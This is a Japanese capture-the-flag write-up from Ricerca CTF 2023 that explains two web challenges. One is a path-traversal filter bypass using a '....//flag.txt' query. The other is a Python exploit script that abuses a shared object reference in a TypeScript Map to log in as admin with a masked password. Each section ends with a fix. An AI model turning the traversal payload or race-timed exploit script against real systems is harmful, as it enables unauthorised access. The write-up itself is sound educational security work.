Ricerca CTF 2023 writeup - Web初心者の備忘録

2023/04/22に公開

はじめに

Ricerca CTF 2023お疲れさまでした。
運営の皆様、参加者の皆様、ありがとうございました。

さて、自分はWeb初心者、CTFほとんど初参加という形でしたが、Web問を二個解けたため、その備忘録と考察を書いていきます。

解いたもの

  • Cat Cafe
    • 簡単なFLI問題
  • tinyDB
    • 連想配列で作られたDBの問題


      解けました イエイ

それぞれの解説

Cat Cafe

この問題のバックエンドはflaskです。
この問題では、まず以下のようなページが表示されます。

ここで猫の画像を右クリックで開くと、以下のようなURLに飛びます。

http://cat-cafe.2023.ricercactf.com:8000/img?f=01.jpg

ソースコードの解説

問題のソースコードを読むと、ユーザのクエリを

filename = flask.request.args.get("f", "").replace("../", "")

という形で受け付けているのがわかります。
../が置換されるため、....//というクエリを投げれば../に置換されます。

エクスプロイト

http://cat-cafe.2023.ricercactf.com:8000/img?f=....//flag.txt

というリクエストを投げます。
以上のようにして、flagを取得することができました。

脆弱性への対処

../を置換するのではなく、../が含まれている場合はエラーを返し、そもそもファイルの参照をしないようにするのが好ましいです。

tinyDB

この問題のバックエンドはfastifyです。
この問題では、まず以下のようなページが表示されます。

バックエンドはAPIで用意されているため、APIを抜き出すと以下の通りです。

http://tinydb.2023.ricercactf.com:8888/set_user
http://tinydb.2023.ricercactf.com:8888/get_flag

APIの挙動

それぞれのAPIについて、以下のような挙動を確認しました。

set_user

リクエスト

{
    "username": "admin",
    "password": "dummy"
}

レスポンス

{
    "authId": "admin",
    "authPW": "dummy",
    "grade": "guest"
}

get_flag

リクエスト

{
    "username": "admin",
    "password": "dummy"
}

レスポンス

{"flag":"no flag for you :)"}

このうち、set_userではユーザの作成、get_flagではユーザの権限テストを主に行っていると推測しました。

ソースコードの解説

問題のソースコードを確認します。
かいつまんで提示していきます。

const db = new Map<SessionT, UserDBT>();

データベースの一番外枠は、SessionT型をキーとしてそれぞれのUserDBT型を持つ連想配列となります。おそらくこのUserDBT型がユーザのデータベースとなっていると推測できます。

type SessionT = string;

セッションは、文字列となっています。

type UserDBT = Map<AuthT, gradeT>;

次にUserDBT型は、AuthT型をキーに、ユーザの権限を持った連想配列となっています。

type AuthT = {
  username: string;
  password: string;
};

AuthT型は、このようにユーザ名とパスワードで構成される構造体です。

つまり、ユーザとパスワードの構造体をキー、ユーザの権限を値として持つ連想配列が、セッションID毎に格納されているということです。

type UserBodyT = Partial<AuthT>;
server.post<{ Body: UserBodyT }>("/set_user", async (request, response) => {
  const { username, password } = request.body;
  const session = request.session.sessionId;
  const userDB = getUserDB(session);

ここのソースでは、セッションに固有のユーザテーブルを受け取っています。

  let auth = {
    username: username ?? "admin",
    password: password ?? randStr(),
  };
  if (!userDB.has(auth)) {
    userDB.set(auth, "guest");
  }

ここでユーザの入力を受け取ります。存在しないユーザの場合は作成します。

  if (userDB.size > 10) {
    // Too many users, clear the database
    userDB.clear();
    auth.username = "admin";
    auth.password = getAdminPW();
    userDB.set(auth, "admin");
    auth.password = "*".repeat(auth.password.length);
  }

ユーザデータベースの要素数が10より大きくなった時、データベースをすべてクリアしてからadminユーザを作り直します。その後、authの値を伏字のパスワードに変更します。
後述しますが、ここが脆弱なポイントになります。

   const rollback = () => {
    const grade = userDB.get(auth);
    updateAdminPW();
    const newAdminAuth = {
      username: "admin",
      password: getAdminPW(),
    };
    userDB.delete(auth);
    userDB.set(newAdminAuth, grade ?? "guest");
  };
  setTimeout(() => {
    // Admin password will be changed due to hacking detected :(
    if (auth.username === "admin" && auth.password !== getAdminPW()) {
      rollback();
    }
  }, 2000 + 3000 * Math.random()); // no timing attack!

ここは不正なログインの場合にロールバックする処理となります。時間差で発動することでタイミング攻撃を防ぐようにしたようですが、これのおかげで攻撃ができます。

  const res = {
    authId: auth.username,
    authPW: auth.password,
    grade: userDB.get(auth),
  };

単なるレスポンス返却です。

server.post<{ Body: AuthT }>("/get_flag", async (request, response) => {
  const { username, password } = request.body;
  const session = request.session.sessionId;
  const userDB = getUserDB(session);
  for (const [auth, grade] of userDB.entries()) {
    if (
      auth.username === username &&
      auth.password === password &&
      grade === "admin"
    ) {
      response
        .type("application/json")
        .send({ flag: `great! here is your flag: ${flag}` });
      return;
    }
  }
  response.type("application/json").send({ flag: "no flag for you :)" });
});

フラグ取得部分です。連想配列の要素を順番に取り出して、ユーザ名とパスワードが一致し、かつ権限がadminである場合にフラグを返却します。

作成したエクスプロイトコード

作成したエクスプロイトコードを掲載します。

import requests

session = requests.session()

for i in range(10):
    json_data = {
        'username': "admin",
        'password': "dummy",
    }

    res = session.post("http://tinydb.2023.ricercactf.com:8888/set_user", json=json_data, cookies=cookies)
    print(res.text)
    print(res.cookies)
    
    
json_data = {
    'username': 'admin',
    'password': "********************************",
}
res = session.post("http://tinydb.2023.ricercactf.com:8888/get_flag", json=json_data, cookies=cookies)
print(res.text)
print(res.cookies)

これを実行すると、出力は以下のようになります。

{"authId":"admin","authPW":"********************************","grade":"admin"}
<RequestsCookieJar[<Cookie sessionId=NMuzwZixO_l6zY-mRQ_J0dL4_BKFc9s2.L3EDRBWY%2BjlWqbL1iswnx8w1vhxK6%2Fk%2By3z8280ugq0 for tinydb.2023.ricercactf.com/>]>
{"authId":"admin","authPW":"dummy","grade":"guest"}
<RequestsCookieJar[<Cookie sessionId=NMuzwZixO_l6zY-mRQ_J0dL4_BKFc9s2.L3EDRBWY%2BjlWqbL1iswnx8w1vhxK6%2Fk%2By3z8280ugq0 for tinydb.2023.ricercactf.com/>]>
{"authId":"admin","authPW":"dummy","grade":"guest"}
<RequestsCookieJar[<Cookie sessionId=NMuzwZixO_l6zY-mRQ_J0dL4_BKFc9s2.L3EDRBWY%2BjlWqbL1iswnx8w1vhxK6%2Fk%2By3z8280ugq0 for tinydb.2023.ricercactf.com/>]>
{"authId":"admin","authPW":"dummy","grade":"guest"}
<RequestsCookieJar[<Cookie sessionId=NMuzwZixO_l6zY-mRQ_J0dL4_BKFc9s2.L3EDRBWY%2BjlWqbL1iswnx8w1vhxK6%2Fk%2By3z8280ugq0 for tinydb.2023.ricercactf.com/>]>
{"authId":"admin","authPW":"dummy","grade":"guest"}
<RequestsCookieJar[<Cookie sessionId=NMuzwZixO_l6zY-mRQ_J0dL4_BKFc9s2.L3EDRBWY%2BjlWqbL1iswnx8w1vhxK6%2Fk%2By3z8280ugq0 for tinydb.2023.ricercactf.com/>]>
{"authId":"admin","authPW":"dummy","grade":"guest"}
<RequestsCookieJar[<Cookie sessionId=NMuzwZixO_l6zY-mRQ_J0dL4_BKFc9s2.L3EDRBWY%2BjlWqbL1iswnx8w1vhxK6%2Fk%2By3z8280ugq0 for tinydb.2023.ricercactf.com/>]>
{"authId":"admin","authPW":"dummy","grade":"guest"}
<RequestsCookieJar[<Cookie sessionId=NMuzwZixO_l6zY-mRQ_J0dL4_BKFc9s2.L3EDRBWY%2BjlWqbL1iswnx8w1vhxK6%2Fk%2By3z8280ugq0 for tinydb.2023.ricercactf.com/>]>
{"authId":"admin","authPW":"dummy","grade":"guest"}
<RequestsCookieJar[<Cookie sessionId=NMuzwZixO_l6zY-mRQ_J0dL4_BKFc9s2.L3EDRBWY%2BjlWqbL1iswnx8w1vhxK6%2Fk%2By3z8280ugq0 for tinydb.2023.ricercactf.com/>]>
{"authId":"admin","authPW":"dummy","grade":"guest"}
<RequestsCookieJar[<Cookie sessionId=NMuzwZixO_l6zY-mRQ_J0dL4_BKFc9s2.L3EDRBWY%2BjlWqbL1iswnx8w1vhxK6%2Fk%2By3z8280ugq0 for tinydb.2023.ricercactf.com/>]>
{"authId":"admin","authPW":"dummy","grade":"guest"}
<RequestsCookieJar[<Cookie sessionId=NMuzwZixO_l6zY-mRQ_J0dL4_BKFc9s2.L3EDRBWY%2BjlWqbL1iswnx8w1vhxK6%2Fk%2By3z8280ugq0 for tinydb.2023.ricercactf.com/>]>
{"flag":"great! here is your flag: RicSec{DUMMY}"}
<RequestsCookieJar[<Cookie sessionId=NMuzwZixO_l6zY-mRQ_J0dL4_BKFc9s2.L3EDRBWY%2BjlWqbL1iswnx8w1vhxK6%2Fk%2By3z8280ugq0 for tinydb.2023.ricercactf.com/>]>

以上のようにして、flagを取得することができました。

脆弱性の解説

この脆弱性のポイントは、JavaScriptの連想配列が複製されないことを見逃している点です。
詳しい解説は以下の記事を参考にしていただけると幸いです。
https://zenn.dev/kou_pg_0131/articles/js-clone-array

    userDB.clear();
    auth.username = "admin";
    auth.password = getAdminPW();
    userDB.set(auth, "admin");
    auth.password = "*".repeat(auth.password.length);

ここの処理で、オブジェクトをuserDB.setでセットした後、auth.passwordを変更しています。
しかし、オブジェクトを複製していないため、auth.passwordを変更するとその変更がuserDBの値にも反映されてしまいます。
このため、これを実行した後のuserDBの値は、auth.passwordが変更されていることになります。実際には以下のようになります。

Map(1) {
  { username: 'admin', password: '********************************' } => 'admin'
}

追加の注意点として、これがロールバックに検知されるとこの値が変更されてしまうため、ロールバックが実行される前にget_flagに対してアクセスする必要があるということです。これを達成するためにスクリプトで実行しています。

脆弱性への対処

この脆弱性を防ぐには、オブジェクトを複製するようにする必要があります。これにはスプレッド構文を利用することができます。

    userDB.clear();
    auth.username = "admin";
    auth.password = getAdminPW();
    userDB.set({...auth}, "admin");
    auth.password = "*".repeat(auth.password.length);

このように修正した後に同じエクスプロイトを実行すると、フラグが得られないことが分かります。

まとめ

今回のCTFでは時間の殆どをtinyDBに溶かしてしまいましたが、無事にフラグを取得することができて良かったです。
これからもWeb開発をしていきながら、並行してセキュリティ意識の向上と知見の蓄積を進めていきたいと思います。

GitHubで編集を提案

Discussion